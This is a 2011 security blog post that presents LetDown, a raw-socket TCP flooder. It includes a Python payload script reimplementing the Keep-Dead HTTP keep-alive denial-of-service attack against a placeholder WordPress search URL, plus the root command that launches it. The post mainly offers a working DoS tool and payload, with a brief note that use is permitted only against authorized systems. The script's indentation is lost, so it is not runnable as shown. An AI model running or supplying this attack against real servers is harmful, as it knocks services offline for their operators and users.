LetDown and HTTP DoS attacks

21 Sep 2011

These days much attention has turned to certain denial of service attacks that plague HTTP, also due to inherent vulnerabilities of the protocol itself.

I've read some nice pages and tools on various blogs/sites (e.g. Keep-Alive DoS script and Slowloris have caught my attention).

Usually all the tools work well, but they have some drawbacks: each one reimplements the wheel from scratch and uses standard operating system sockets to send and receive data. Therefore they are slower and consume more memory than a full raw-socket approach.

In most cases, this is not a problem: just think about the tool Slowloris which has been specifically designed for low bandwidths. But there are also cases where we want to maximize the resources we have...

The problem with the use of raw sockets and packet sniffing is that they are difficult to implement quickly and easily.

For these reasons, some time ago, I developed LetDown, a tcp flooder that uses an indipendent userland TCP/IP stack, supports multistage payloads for complex protocols, and other interesting things (fragmentation of packets, variable tcp window, etc…) we won't analyze right now.

The advantage of using LetDown is that we can concentrate on the data transmitted, leaving out the algorithms and the programming part.

Keep-alive DoS via LetDown

Keep-alive Denial of Service concepts are:

You can read more here: http://www.esrun.co.uk/blog/keep-alive-dos-script/. The author provides a php script that demonstrates the attack.

We can rewrite that script as a multistage payload, i.e. a python script interpreted by the embedded python engine of letdown:

# Letdown reimplementation of the attack:
# Keep-Dead (Version 1.14)
# http://www.esrun.co.uk/blog/keep-alive-dos-script/
# More info:
# http://securityadventures.wordpress.com/
import random
# Callback function
def callback(count, h_flags, h_payload):
global flags
global window
global action
global payload
# Attack options

# target host
target_host = "www.domain.net"
# target query
target_query = "/wordpress/?s=%rand%"
# max requests per connection
max_requests_per_connection = 100
# user agent
user_agent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7"
# Send HTTP requests
if count < max_requests_per_connection:
# packet settings
flags   = ack
window  = 1024
action  = act_wait
# HTTP request
payload  = "HEAD " + target_query.replace('%rand%',str(random.getrandbits(20))) + " HTTP/1.1\r\n"
payload += "Host: " + target_host + "\r\n"
payload += "User-Agent: " + user_agent + "\r\n"
payload += "Connection: Keep-Alive\r\n\r\n"
# Close the connection
flags   = rst
action  = act_wait

As you can see we did not need to program anything to manage the connection. These tasks are entirely managed by LetDown, via raw sockets and libpcap.

The only options specified are the contents of the TCP packet (the payload), and the action to perform (act_wait means: send the packet and wait for an acknowledgement packet from the server).

We can now lauch the attack with this command:

root@box# letdown -d DESTINATION_IP -D GATEWAY_MAC -p 80 -M payloads/http-keep-alive.py -f iptables -v 2

Of course, these attacks are allowed only if directed against machines on which we have permission to conduct tests. Before using it you should also give a look at the guide (http://complemento.sourceforge.net/howto/index.html) in order to understand low-level operations of the tool, and be able to identify the causes of the eventual errors.

PS: The script can probably be optimized against the specific target introducing appropriate delays (in the base form it's only a Proof-of-Concept).